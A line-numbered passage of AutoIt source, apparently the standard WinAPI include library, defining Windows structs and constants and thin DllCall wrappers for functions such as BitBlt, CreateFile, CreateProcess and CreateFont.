  3852. Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
  3853. Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
  3854. Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String"
  3855. Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  3856. Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  3857. Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
  3858. Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  3859. Global Const $tagbitmapinfoheader = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct"
  3860. Global Const $tagbitmapinfo = $tagbitmapinfoheader & ";dword biRGBQuad[1]"
  3861. Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
  3862. Global Const $tagguid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
  3863. Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  3864. Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  3865. Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
  3866. Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  3867. Global Const $taglogfont = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct"
  3868. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  3869. Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  3870. Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  3871. Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
  3872. Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
  3873. Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
  3874. Global Const $hgdi_error = Ptr(-1)
  3875. Global Const $invalid_handle_value = Ptr(-1)
  3876. Global Const $clr_invalid = -1
  3877. Global Const $null_brush = 5
  3878. Global Const $null_pen = 8
  3879. Global Const $black_brush = 4
  3880. Global Const $dkgray_brush = 3
  3881. Global Const $dc_brush = 18
  3882. Global Const $gray_brush = 2
  3883. Global Const $hollow_brush = $null_brush
  3884. Global Const $ltgray_brush = 1
  3885. Global Const $white_brush = 0
  3886. Global Const $black_pen = 7
  3887. Global Const $dc_pen = 19
  3888. Global Const $white_pen = 6
  3889. Global Const $ansi_fixed_font = 11
  3890. Global Const $ansi_var_font = 12
  3891. Global Const $device_default_font = 14
  3892. Global Const $default_gui_font = 17
  3893. Global Const $oem_fixed_font = 10
  3894. Global Const $system_font = 13
  3895. Global Const $system_fixed_font = 16
  3896. Global Const $default_palette = 15
  3897. Global Const $mb_precomposed = 1
  3898. Global Const $mb_composite = 2
  3899. Global Const $mb_useglyphchars = 4
  3900. Global Const $ulw_alpha = 2
  3901. Global Const $ulw_colorkey = 1
  3902. Global Const $ulw_opaque = 4
  3903. Global Const $ulw_ex_noresize = 8
  3904. Global Const $wh_callwndproc = 4
  3905. Global Const $wh_callwndprocret = 12
  3906. Global Const $wh_cbt = 5
  3907. Global Const $wh_debug = 9
  3908. Global Const $wh_foregroundidle = 11
  3909. Global Const $wh_getmessage = 3
  3910. Global Const $wh_journalplayback = 1
  3911. Global Const $wh_journalrecord = 0
  3912. Global Const $wh_keyboard = 2
  3913. Global Const $wh_keyboard_ll = 13
  3914. Global Const $wh_mouse = 7
  3915. Global Const $wh_mouse_ll = 14
  3916. Global Const $wh_msgfilter = -1
  3917. Global Const $wh_shell = 10
  3918. Global Const $wh_sysmsgfilter = 6
  3919. Global Const $wpf_asyncwindowplacement = 4
  3920. Global Const $wpf_restoretomaximized = 2
  3921. Global Const $wpf_setminposition = 1
  3922. Global Const $kf_extended = 256
  3923. Global Const $kf_altdown = 8192
  3924. Global Const $kf_up = 32768
  3925. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  3926. Global Const $llkhf_injected = 16
  3927. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  3928. Global Const $llkhf_up = BitShift($kf_up, 8)
  3929. Global Const $ofn_allowmultiselect = 512
  3930. Global Const $ofn_createprompt = 8192
  3931. Global Const $ofn_dontaddtorecent = 33554432
  3932. Global Const $ofn_enablehook = 32
  3933. Global Const $ofn_enableincludenotify = 4194304
  3934. Global Const $ofn_enablesizing = 8388608
  3935. Global Const $ofn_enabletemplate = 64
  3936. Global Const $ofn_enabletemplatehandle = 128
  3937. Global Const $ofn_explorer = 524288
  3938. Global Const $ofn_extensiondifferent = 1024
  3939. Global Const $ofn_filemustexist = 4096
  3940. Global Const $ofn_forceshowhidden = 268435456
  3941. Global Const $ofn_hidereadonly = 4
  3942. Global Const $ofn_longnames = 2097152
  3943. Global Const $ofn_nochangedir = 8
  3944. Global Const $ofn_nodereferencelinks = 1048576
  3945. Global Const $ofn_nolongnames = 262144
  3946. Global Const $ofn_nonetworkbutton = 131072
  3947. Global Const $ofn_noreadonlyreturn = 32768
  3948. Global Const $ofn_notestfilecreate = 65536
  3949. Global Const $ofn_novalidate = 256
  3950. Global Const $ofn_overwriteprompt = 2
  3951. Global Const $ofn_pathmustexist = 2048
  3952. Global Const $ofn_readonly = 1
  3953. Global Const $ofn_shareaware = 16384
  3954. Global Const $ofn_showhelp = 16
  3955. Global Const $ofn_ex_noplacesbar = 1
  3956. Global Const $tmpf_fixed_pitch = 1
  3957. Global Const $tmpf_vector = 2
  3958. Global Const $tmpf_truetype = 4
  3959. Global Const $tmpf_device = 8
  3960. Global Const $duplicate_close_source = 1
  3961. Global Const $duplicate_same_access = 2
  3962. Global Const $di_mask = 1
  3963. Global Const $di_image = 2
  3964. Global Const $di_normal = 3
  3965. Global Const $di_compat = 4
  3966. Global Const $di_defaultsize = 8
  3967. Global Const $di_nomirror = 16
  3968. Global Const $display_device_attached_to_desktop = 1
  3969. Global Const $display_device_multi_driver = 2
  3970. Global Const $display_device_primary_device = 4
  3971. Global Const $display_device_mirroring_driver = 8
  3972. Global Const $display_device_vga_compatible = 16
  3973. Global Const $display_device_removable = 32
  3974. Global Const $display_device_disconnect = 33554432
  3975. Global Const $display_device_remote = 67108864
  3976. Global Const $display_device_modespruned = 134217728
  3977. Global Const $flashw_caption = 1
  3978. Global Const $flashw_tray = 2
  3979. Global Const $flashw_timer = 4
  3980. Global Const $flashw_timernofg = 12
  3981. Global Const $format_message_allocate_buffer = 256
  3982. Global Const $format_message_ignore_inserts = 512
  3983. Global Const $format_message_from_string = 1024
  3984. Global Const $format_message_from_hmodule = 2048
  3985. Global Const $format_message_from_system = 4096
  3986. Global Const $format_message_argument_array = 8192
  3987. Global Const $gw_hwndfirst = 0
  3988. Global Const $gw_hwndlast = 1
  3989. Global Const $gw_hwndnext = 2
  3990. Global Const $gw_hwndprev = 3
  3991. Global Const $gw_owner = 4
  3992. Global Const $gw_child = 5
  3993. Global Const $gw_enabledpopup = 6
  3994. Global Const $gwl_wndproc = -4
  3995. Global Const $gwl_hinstance = -6
  3996. Global Const $gwl_hwndparent = -8
  3997. Global Const $gwl_id = -12
  3998. Global Const $gwl_style = -16
  3999. Global Const $gwl_exstyle = -20
  4000. Global Const $gwl_userdata = -21
  4001. Global Const $std_cut = 0
  4002. Global Const $std_copy = 1
  4003. Global Const $std_paste = 2
  4004. Global Const $std_undo = 3
  4005. Global Const $std_redow = 4
  4006. Global Const $std_delete = 5
  4007. Global Const $std_filenew = 6
  4008. Global Const $std_fileopen = 7
  4009. Global Const $std_filesave = 8
  4010. Global Const $std_printpre = 9
  4011. Global Const $std_properties = 10
  4012. Global Const $std_help = 11
  4013. Global Const $std_find = 12
  4014. Global Const $std_replace = 13
  4015. Global Const $std_print = 14
  4016. Global Const $image_bitmap = 0
  4017. Global Const $image_icon = 1
  4018. Global Const $image_cursor = 2
  4019. Global Const $image_enhmetafile = 3
  4020. Global Const $kb_sendspecial = 0
  4021. Global Const $kb_sendraw = 1
  4022. Global Const $kb_capsoff = 0
  4023. Global Const $kb_capson = 1
  4024. Global Const $dont_resolve_dll_references = 1
  4025. Global Const $load_library_as_datafile = 2
  4026. Global Const $load_with_altered_search_path = 8
  4027. Global Const $load_ignore_code_authz_level = 16
  4028. Global Const $load_library_as_datafile_exclusive = 64
  4029. Global Const $load_library_as_image_resource = 32
  4030. Global Const $load_library_search_application_dir = 512
  4031. Global Const $load_library_search_default_dirs = 4096
  4032. Global Const $load_library_search_dll_load_dir = 256
  4033. Global Const $load_library_search_system32 = 2048
  4034. Global Const $load_library_search_user_dirs = 1024
  4035. Global Const $s_ok = 0
  4036. Global Const $e_abort = -2147467260
  4037. Global Const $e_accessdenied = -2147024891
  4038. Global Const $e_fail = -2147467259
  4039. Global Const $e_handle = -2147024890
  4040. Global Const $e_invalidarg = -2147024809
  4041. Global Const $e_nointerface = -2147467262
  4042. Global Const $e_notimpl = -2147467263
  4043. Global Const $e_outofmemory = -2147024882
  4044. Global Const $e_pointer = -2147467261
  4045. Global Const $e_unexpected = -2147418113
  4046. Global Const $lr_defaultcolor = 0
  4047. Global Const $lr_monochrome = 1
  4048. Global Const $lr_color = 2
  4049. Global Const $lr_copyreturnorg = 4
  4050. Global Const $lr_copydeleteorg = 8
  4051. Global Const $lr_loadfromfile = 16
  4052. Global Const $lr_loadtransparent = 32
  4053. Global Const $lr_defaultsize = 64
  4054. Global Const $lr_vgacolor = 128
  4055. Global Const $lr_loadmap3dcolors = 4096
  4056. Global Const $lr_createdibsection = 8192
  4057. Global Const $lr_copyfromresource = 16384
  4058. Global Const $lr_shared = 32768
  4059. Global Const $obm_trtype = 32732
  4060. Global Const $obm_lfarrowi = 32734
  4061. Global Const $obm_rgarrowi = 32735
  4062. Global Const $obm_dnarrowi = 32736
  4063. Global Const $obm_uparrowi = 32737
  4064. Global Const $obm_combo = 32738
  4065. Global Const $obm_mnarrow = 32739
  4066. Global Const $obm_lfarrowd = 32740
  4067. Global Const $obm_rgarrowd = 32741
  4068. Global Const $obm_dnarrowd = 32742
  4069. Global Const $obm_uparrowd = 32743
  4070. Global Const $obm_restored = 32744
  4071. Global Const $obm_zoomd = 32745
  4072. Global Const $obm_reduced = 32746
  4073. Global Const $obm_restore = 32747
  4074. Global Const $obm_zoom = 32748
  4075. Global Const $obm_reduce = 32749
  4076. Global Const $obm_lfarrow = 32750
  4077. Global Const $obm_rgarrow = 32751
  4078. Global Const $obm_dnarrow = 32752
  4079. Global Const $obm_uparrow = 32753
  4080. Global Const $obm_close = 32754
  4081. Global Const $obm_old_restore = 32755
  4082. Global Const $obm_old_zoom = 32756
  4083. Global Const $obm_old_reduce = 32757
  4084. Global Const $obm_btncorners = 32758
  4085. Global Const $obm_checkboxes = 32759
  4086. Global Const $obm_check = 32760
  4087. Global Const $obm_btsize = 32761
  4088. Global Const $obm_old_lfarrow = 32762
  4089. Global Const $obm_old_rgarrow = 32763
  4090. Global Const $obm_old_dnarrow = 32764
  4091. Global Const $obm_old_uparrow = 32765
  4092. Global Const $obm_size = 32766
  4093. Global Const $obm_old_close = 32767
  4094. Global Const $oic_sample = 32512
  4095. Global Const $oic_hand = 32513
  4096. Global Const $oic_ques = 32514
  4097. Global Const $oic_bang = 32515
  4098. Global Const $oic_note = 32516
  4099. Global Const $oic_winlogo = 32517
  4100. Global Const $oic_warning = $oic_bang
  4101. Global Const $oic_error = $oic_hand
  4102. Global Const $oic_information = $oic_note
  4103. Global $__g_ainprocess_winapi[64][2] = [[0, 0]]
  4104. Global $__g_awinlist_winapi[64][2] = [[0, 0]]
  4105. Global Const $__winapiconstant_wm_setfont = 48
  4106. Global Const $__winapiconstant_fw_normal = 400
  4107. Global Const $__winapiconstant_default_charset = 1
  4108. Global Const $__winapiconstant_out_default_precis = 0
  4109. Global Const $__winapiconstant_clip_default_precis = 0
  4110. Global Const $__winapiconstant_default_quality = 0
  4111. Global Const $__winapiconstant_logpixelsx = 88
  4112. Global Const $__winapiconstant_logpixelsy = 90
  4113. Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
  4114. Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
  4115. Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
  4116. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  4117. Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
  4118.  
  4119. Func _winapi_attachconsole($ipid = -1)
  4120. Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $ipid)
  4121. If @error Then Return SetError(@error, @extended, False)
  4122. Return $aresult[0]
  4123. EndFunc
  4124.  
  4125. Func _winapi_attachthreadinput($iattach, $iattachto, $battach)
  4126. Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $battach)
  4127. If @error Then Return SetError(@error, @extended, False)
  4128. Return $aresult[0]
  4129. EndFunc
  4130.  
  4131. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  4132. Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  4133. If @error Then Return SetError(@error, @extended, False)
  4134. Return $aresult[0]
  4135. EndFunc
  4136.  
  4137. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  4138. Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  4139. If @error Then Return SetError(@error, @extended, False)
  4140. Return $aresult[0]
  4141. EndFunc
  4142.  
  4143. Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
  4144. Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
  4145. If @error Then Return SetError(@error, @extended, -1)
  4146. Return $aresult[0]
  4147. EndFunc
  4148.  
  4149. Func _winapi_callwindowproc($pprevwndfunc, $hwnd, $imsg, $wparam, $lparam)
  4150. Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $pprevwndfunc, "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  4151. If @error Then Return SetError(@error, @extended, -1)
  4152. Return $aresult[0]
  4153. EndFunc
  4154.  
  4155. Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
  4156. Local $aret = DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
  4157. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4158. Return $tpoint
  4159. EndFunc
  4160.  
  4161. Func _winapi_closehandle($hobject)
  4162. Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  4163. If @error Then Return SetError(@error, @extended, False)
  4164. Return $aresult[0]
  4165. EndFunc
  4166.  
  4167. Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
  4168. Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
  4169. If @error Then Return SetError(@error, @extended, 0)
  4170. Return $aresult[0]
  4171. EndFunc
  4172.  
  4173. Func _winapi_commdlgextendederror()
  4174. Local Const $cderr_dialogfailure = 65535
  4175. Local Const $cderr_findresfailure = 6
  4176. Local Const $cderr_initialization = 2
  4177. Local Const $cderr_loadresfailure = 7
  4178. Local Const $cderr_loadstrfailure = 5
  4179. Local Const $cderr_lockresfailure = 8
  4180. Local Const $cderr_memallocfailure = 9
  4181. Local Const $cderr_memlockfailure = 10
  4182. Local Const $cderr_nohinstance = 4
  4183. Local Const $cderr_nohook = 11
  4184. Local Const $cderr_notemplate = 3
  4185. Local Const $cderr_registermsgfail = 12
  4186. Local Const $cderr_structsize = 1
  4187. Local Const $fnerr_buffertoosmall = 12291
  4188. Local Const $fnerr_invalidfilename = 12290
  4189. Local Const $fnerr_subclassfailure = 12289
  4190. Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
  4191. If NOT @error Then
  4192. Switch $aresult[0]
  4193. Case $cderr_dialogfailure
  4194. Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
  4195. Case $cderr_findresfailure
  4196. Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
  4197. Case $cderr_initialization
  4198. Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
  4199. Case $cderr_loadresfailure
  4200. Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
  4201. Case $cderr_loadstrfailure
  4202. Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
  4203. Case $cderr_lockresfailure
  4204. Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
  4205. Case $cderr_memallocfailure
  4206. Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
  4207. Case $cderr_memlockfailure
  4208. Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
  4209. Case $cderr_nohinstance
  4210. Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
  4211. Case $cderr_nohook
  4212. Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
  4213. Case $cderr_notemplate
  4214. Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
  4215. Case $cderr_registermsgfail
  4216. Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
  4217. Case $cderr_structsize
  4218. Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
  4219. Case $fnerr_buffertoosmall
  4220. Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
  4221. Case $fnerr_invalidfilename
  4222. Return SetError($aresult[0], 0, "A file name is invalid.")
  4223. Case $fnerr_subclassfailure
  4224. Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
  4225. EndSwitch
  4226. EndIf
  4227. Return SetError(@error, @extended, "0x" & Hex($aresult[0]))
  4228. EndFunc
  4229.  
  4230. Func _winapi_copyicon($hicon)
  4231. Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  4232. If @error Then Return SetError(@error, @extended, 0)
  4233. Return $aresult[0]
  4234. EndFunc
  4235.  
  4236. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  4237. Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
  4238. If @error Then Return SetError(@error, @extended, 0)
  4239. Return $aresult[0]
  4240. EndFunc
  4241.  
  4242. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  4243. Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  4244. If @error Then Return SetError(@error, @extended, 0)
  4245. Return $aresult[0]
  4246. EndFunc
  4247.  
  4248. Func _winapi_createcompatibledc($hdc)
  4249. Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  4250. If @error Then Return SetError(@error, @extended, 0)
  4251. Return $aresult[0]
  4252. EndFunc
  4253.  
  4254. Func _winapi_createevent($pattributes = 0, $bmanualreset = True, $binitialstate = True, $sname = "")
  4255. Local $snametype = "wstr"
  4256. If $sname = "" Then
  4257. $sname = 0
  4258. $snametype = "ptr"
  4259. EndIf
  4260. Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $bmanualreset, "bool", $binitialstate, $snametype, $sname)
  4261. If @error Then Return SetError(@error, @extended, 0)
  4262. Return $aresult[0]
  4263. EndFunc
  4264.  
  4265. Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
  4266. Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
  4267. If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
  4268. If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
  4269. If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
  4270. If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
  4271. If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
  4272. If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
  4273. Switch $icreation
  4274. Case 0
  4275. $icd = $create_new
  4276. Case 1
  4277. $icd = $create_always
  4278. Case 2
  4279. $icd = $open_existing
  4280. Case 3
  4281. $icd = $open_always
  4282. Case 4
  4283. $icd = $truncate_existing
  4284. EndSwitch
  4285. If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
  4286. If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
  4287. If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
  4288. If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
  4289. Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
  4290. If @error OR ($aresult[0] = $invalid_handle_value) Then Return SetError(@error, @extended, 0)
  4291. Return $aresult[0]
  4292. EndFunc
  4293.  
  4294. Func _winapi_createfont($iheight, $iwidth, $iescape = 0, $iorientn = 0, $iweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = $__winapiconstant_default_charset, $ioutputprec = $__winapiconstant_out_default_precis, $iclipprec = $__winapiconstant_clip_default_precis, $iquality = $__winapiconstant_default_quality, $ipitch = 0, $sface = "Arial")
  4295. Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescape, "int", $iorientn, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutputprec, "dword", $iclipprec, "dword", $iquality, "dword", $ipitch, "wstr", $sface)
  4296. If @error Then Return SetError(@error, @extended, 0)
  4297. Return $aresult[0]
  4298. EndFunc
  4299.  
  4300. Func _winapi_createfontindirect($tlogfont)
  4301. Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
  4302. If @error Then Return SetError(@error, @extended, 0)
  4303. Return $aresult[0]
  4304. EndFunc
  4305.  
  4306. Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
  4307. Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "INT", $ncolor)
  4308. If @error Then Return SetError(@error, @extended, 0)
  4309. Return $aresult[0]
  4310. EndFunc
  4311.  
  4312. Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $binherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
  4313. Local $tcommand = 0
  4314. Local $sappnametype = "wstr", $sdirtype = "wstr"
  4315. If $sappname = "" Then
  4316. $sappnametype = "ptr"
  4317. $sappname = 0
  4318. EndIf
  4319. If $scommand <> "" Then
  4320. $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
  4321. DllStructSetData($tcommand, "Text", $scommand)
  4322. EndIf
  4323. If $sdir = "" Then
  4324. $sdirtype = "ptr"
  4325. $sdir = 0
  4326. EndIf
  4327. Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $binherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
  4328. If @error Then Return SetError(@error, @extended, False)
  4329. Return $aresult[0]
  4330. EndFunc
  4331.  
  4332. Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
  4333. Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
  4334. If @error Then Return SetError(@error, @extended, 0)
  4335. Return $aresult[0]
  4336. EndFunc
  4337.  
  4338. Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
  4339. Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
  4340. If @error Then Return SetError(@error, @extended, 0)
  4341. Return $aresult[0]
  4342. EndFunc
  4343.  
  4344. Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
  4345. Local $hdc = _winapi_getdc($hwnd)
  4346. Local $hdestdc = _winapi_createcompatibledc($hdc)
  4347. Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  4348. Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
  4349. Local $trect = DllStructCreate($tagrect)
  4350. DllStructSetData($trect, 1, 0)
  4351. DllStructSetData($trect, 2, 0)
  4352. DllStructSetData($trect, 3, $iwidth)
  4353. DllStructSetData($trect, 4, $iheight)
  4354. If $brgb Then
  4355. $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  4356. EndIf
  4357. Local $hbrush = _winapi_createsolidbrush($icolor)
  4358. If NOT _winapi_fillrect($hdestdc, $trect, $hbrush) Then
  4359. _winapi_deleteobject($hbitmap)
  4360. $hbitmap = 0
  4361. EndIf
  4362. _winapi_deleteobject($hbrush)
  4363. _winapi_releasedc($hwnd, $hdc)
  4364. _winapi_selectobject($hdestdc, $hold)
  4365. _winapi_deletedc($hdestdc)
  4366. If NOT $hbitmap Then Return SetError(1, 0, 0)
  4367. Return $hbitmap
  4368. EndFunc
  4369.  
  4370. Func _winapi_createsolidbrush($ncolor)
  4371. Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "INT", $ncolor)
  4372. If @error Then Return SetError(@error, @extended, 0)
  4373. Return $aresult[0]
  4374. EndFunc
  4375.  
